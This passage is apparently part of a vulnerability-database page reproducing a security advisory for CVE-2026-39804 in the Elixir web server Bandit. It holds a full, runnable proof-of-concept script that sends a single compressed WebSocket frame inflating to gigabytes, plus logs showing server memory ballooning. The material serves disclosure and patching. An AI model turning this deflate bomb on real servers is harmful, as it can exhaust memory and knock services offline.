small (~4 MiB) compressed frame inflates to\n# multiple GiB on the BEAM heap before any application code sees it.\n#\n# Note: in the default setup something upstream caps wire-side frames at\n# ~8 MiB even though Bandit\u0027s documented max_frame_size default is 0\n# (unlimited). The bug is reachable below that cap regardless.\n#\n# Run: elixir scripts/bandit/ws_permessage_deflate_bomb.exs\n\nMix.install([\n  {:bandit, \"~\u003e 1.10\"},\n  {:plug, \"~\u003e 1.19\"},\n  {:websock_adapter, \"~\u003e 0.5\"}\n])\n\ndefmodule EchoSocket do\n  @behaviour WebSock\n\n  def init(_opts), do: {:ok, %{}}\n  def handle_in(_message, state), do: {:ok, state}\n  def handle_info(_message, state), do: {:ok, state}\n  def terminate(_reason, state), do: {:ok, state}\nend\n\ndefmodule DemoApp do\n  @behaviour Plug\n  def init(opts), do: opts\n  def call(conn, _opts) do\n    conn\n    |\u003e WebSockAdapter.upgrade(EchoSocket, %{}, compress: true)\n    |\u003e Plug.Conn.halt()\n  end\nend\n\ndefmodule Bomb do\n  @port 4321\n  # 6 GiB inflated -\u003e ~6 MiB compressed (well under the ~8 MiB wire cap).\n  @target_decompressed_bytes 6 * 1024 * 1024 * 1024\n  @plaintext_chunk_bytes 10 * 1024 * 1024\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)\n\n    sock = ws_handshake!()\n    deflate_payload = build_deflate_bomb()\n    frame = compressed_text_frame(deflate_payload)\n\n    sampler_pid = spawn_link(\u0026sample_memory_loop/0)\n\n    log(\"Sending #{byte_size(frame)}-byte compressed frame\u2026\")\n    :ok = :gen_tcp.send(sock, frame)\n    handle_recv(sock)\n\n    Process.unlink(sampler_pid)\n    Process.exit(sampler_pid, :kill)\n    :gen_tcp.close(sock)\n    log(\"Done.\")\n  end\n\n  # Open a TCP connection and complete the WebSocket handshake with\n  # permessage-deflate. Raises if the server doesn\u0027t negotiate it.\n  defp ws_handshake! do\n    {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n    ws_key = :crypto.strong_rand_bytes(16) |\u003e Base.encode64()\n\n    :ok =\n      :gen_tcp.send(sock, \"\"\"\n      GET / HTTP/1.1\\r\n      Host: 127.0.0.1\\r\n      Upgrade: websocket\\r\n      Connection: Upgrade\\r\n      Sec-WebSocket-Key: #{ws_key}\\r\n      Sec-WebSocket-Version: 13\\r\n      Sec-WebSocket-Extensions: permessage-deflate\\r\n      \\r\n      \"\"\")\n\n    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)\n    if not (response =~ \"permessage-deflate\"), do: raise(\"permessage-deflate not negotiated:\\n#{response}\")\n    log(\"Handshake complete.\")\n    sock\n  end\n\n  # Stream-deflate @target_decompressed_bytes worth of zeros so the client\n  # never holds the full plaintext at once. RFC 7692 uses raw deflate\n  # (window_bits=-15) and ends each message with 0x00 0x00 0xFF 0xFF, which\n  # we strip per the spec.\n  defp build_deflate_bomb do\n    chunk = :binary.copy(\u003c\u003c0\u003e\u003e, @plaintext_chunk_bytes)\n    chunk_count = div(@target_decompressed_bytes, @plaintext_chunk_bytes)\n    log(\"Deflating #{div(@target_decompressed_bytes, 1024 * 1024)} MiB plaintext\u2026\")\n\n    zstream = :zlib.open()\n    :ok = :zlib.deflateInit(zstream, :default, :deflated, -15, 8, :default)\n    deflated_chunks = Enum.map(1..chunk_count, fn _ -\u003e :zlib.deflate(zstream, chunk, :none) end)\n    final_flush = :zlib.deflate(zstream, \u003c\u003c\u003e\u003e, :sync)\n    :zlib.close(zstream)\n\n    deflated = IO.iodata_to_binary([deflated_chunks, final_flush])\n    trailer_size = byte_size(deflated) - 4\n    \u003c\u003cpayload::binary-size(trailer_size), 0x00, 0x00, 0xFF, 0xFF\u003e\u003e = deflated\n\n    log(\"Compressed to #{byte_size(payload)} bytes (ratio ~#{div(@target_decompressed_bytes, byte_size(payload))}x).\")\n    payload\n  end\n\n  # Wrap payload in a single masked WebSocket text frame with RSV1 set\n  # (FIN=1, RSV1=1 indicates permessage-deflate compressed, opcode=0x1=text).\n  defp compressed_text_frame(payload) do\n    mask = :crypto.strong_rand_bytes(4)\n    payload_size = byte_size(payload)\n    mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)\n    masked_payload = :crypto.exor(payload, mask_stream)\n\n    length_bytes =\n      cond do\n        payload_size \u003c= 125 -\u003e \u003c\u003c1::1, payload_size::7\u003e\u003e\n        payload_size \u003c= 0xFFFF -\u003e \u003c\u003c1::1, 126::7, payload_size::16\u003e\u003e\n        true -\u003e \u003c\u003c1::1, 127::7, payload_size::64\u003e\u003e\n      end\n\n    \u003c\u003c1::1, 1::1, 0::2, 0x1::4, length_bytes::binary, mask::binary, masked_payload::binary\u003e\u003e\n  end\n\n  # EchoSocket.handle_in/2 doesn\u0027t reply, so recv times out after the\n  # observation window. That\u0027s enough to watch the BEAM heap spike.\n  defp handle_recv(sock) do\n    case :gen_tcp.recv(sock, 0, 5_000) do\n      {:ok, \u003c\u003c0x88, _len, close_code::16, close_reason::binary\u003e\u003e} -\u003e\n        log(\"Close frame: code=#{close_code} reason=#{inspect(close_reason)}\")\n\n      {:ok, bytes} -\u003e\n        log(\"Reply (#{byte_size(bytes)} bytes): #{inspect(bytes, base: :hex, limit: 64)}\")\n\n      {:error, :timeout} -\u003e\n        log(\"recv timed out (server held the inflated payload silently).\")\n\n      {:error, reason} -\u003e\n        log(\"Connection closed: #{inspect(reason)}\")\n    end\n  end\n\n  defp sample_memory_loop do\n    log(\"[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB\")\n    Process.sleep(250)\n    sample_memory_loop()\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |\u003e Time.truncate(:millisecond)}] #{message}\")\nend\n\nBomb.run()\n```\n\n#### Logs\n\n```\n10:15:24.243 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[08:15:24.269] Handshake complete.\n[08:15:24.321] Deflating 6144 MiB plaintext\u2026\n[08:15:37.567] Compressed to 6257675 bytes (ratio ~1029x).\n[08:15:37.581] Sending 6257689-byte compressed frame\u2026\n[08:15:37.582] [mem] BEAM total = 76 MiB\n[08:15:37.834] [mem] BEAM total = 759 MiB\n[08:15:38.087] [mem] BEAM total = 1480 MiB\n[08:15:38.338] [mem] BEAM total = 2214 MiB\n[08:15:38.589] [mem] BEAM total = 2724 MiB\n[08:15:38.840] [mem] BEAM total = 3410 MiB\n[08:15:39.091] [mem] BEAM total = 3877 MiB\n[08:15:39.342] [mem] BEAM total = 4268 MiB\n[08:15:39.593] [mem] BEAM total = 4815 MiB\n[08:15:39.845] [mem] BEAM total = 5270 MiB\n[08:15:40.096] [mem] BEAM total = 5766 MiB\n[08:15:40.347] [mem] BEAM total = 12451 MiB\n[08:15:40.598] [mem] BEAM total = 12452 MiB\n[08:15:40.850] [mem] BEAM total = 12452 MiB\n[08:15:41.101] [mem] BEAM total = 12452 MiB\n[08:15:41.353] [mem] BEAM total = 12452 MiB\n[08:15:41.606] [mem] BEAM total = 12451 MiB\n[08:15:41.856] [mem] BEAM total = 6229 MiB\n[08:15:42.107] [mem] BEAM total = 6229 MiB\n[08:15:42.358] [mem] BEAM total = 6229 MiB\n[08:15:42.582] recv timed out (server held the inflated payload silently).\n[08:15:42.584] Done.\n```",
  "id": "GHSA-frh3-6pv6-rc8j",
  "modified": "2026-05-07T03:36:13Z",
  "published": "2026-05-07T03:36:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-frh3-6pv6-rc8j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39804"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/commit/8156921a51e684a951221da7bc30a70a022f722e"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-39804.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mtrudel/bandit"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-39804"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bandit\u0027s unbounded WebSocket inflate causes BEAM OOM with a single frame"
}

Sightings

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Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-39804 (GCVE-0-2026-39804)

FKIE_CVE-2026-39804

GHSA-FRH3-6PV6-RC8J

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Related by attack behaviour